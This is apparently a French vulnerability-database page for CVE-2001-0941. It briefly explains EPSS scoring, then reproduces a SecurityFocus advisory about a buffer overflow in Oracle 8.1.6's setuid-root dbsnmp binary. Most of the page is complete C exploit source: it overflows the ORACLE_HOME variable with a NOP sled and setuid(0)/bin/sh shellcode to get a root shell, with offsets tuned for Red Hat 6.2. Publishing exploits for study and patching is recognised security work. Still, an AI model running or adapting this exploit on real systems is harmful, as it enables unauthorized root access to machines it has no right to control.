CVE-2001-0941 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/3138/info Oracle is an Enterprise level SQL database, supporting numerous features and options. It is distributed and maintained by Oracle Corporation. When the ORACLE_HOME environment variable is filled with 750 bytes or more, a buffer overflow occurs. This overflow may be used to overwrite variables on the stack, including the return address. Since the dbsnmp program is setuid root, it is possible to gain elevated privileges, including administrative access. To exploit this vulnerability, the user must be in the oracle group. /* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I tested it in RH 6.2. dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment variable. Its necessary to call setuid(0) before normal shellcode. In My tests Offset may vary from 7846 to 7896. Its posible to obtain a normal (uid=oracle) shell for low offsets (incomplete setuid(0) jumps). "Cae fuego en lugar de mana Se disfraza el asfalto de mar El zapato no encuentra el pedal Parece que anda suelto satanas." L.E.Aute This vulnerability was researched by: Juan Manuel Pascual <pask@plazasite.com> Special thanks to: Ivan Sanchez <isanchez@plazasite.com> Mundo Alonso-Cuevillas <mundo@plazasite.com> */ #include <stdio.h> #include <stdlib.h> #define BUFFER 800 #define OFFSET 7896 #define NOP 0x90 #define BINARY "/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp" char shellcode[] = "\x90" /* Additional NOP */ "\x31\xc0" /* begin setuid (0) */ "\x31\xdb" "\xb0\x17" "\xcd\x80" "\xeb\x1f" "\x5e" "\x89\x76\x08" "\x31\xc0" "\x88\x46\x07" "\x89\x46\x0c" "\xb0\x0b" "\x89\xf3" "\x8d\x4e\x08" "\x8d\x56\x0c" "\xcd\x80" "\x31\xdb" "\x89\xd8" "\x40" "\xcd\x80" "\xe8\xdc\xff\xff\xff" "/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr,binary[120]; long *addr_ptr, addr; int bsize=BUFFER; int i,offset=OFFSET; if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() -offset; ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; memset(buff,bsize/2,NOP); ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; setenv("ORACLE_HOME",buff,1); system(BINARY); }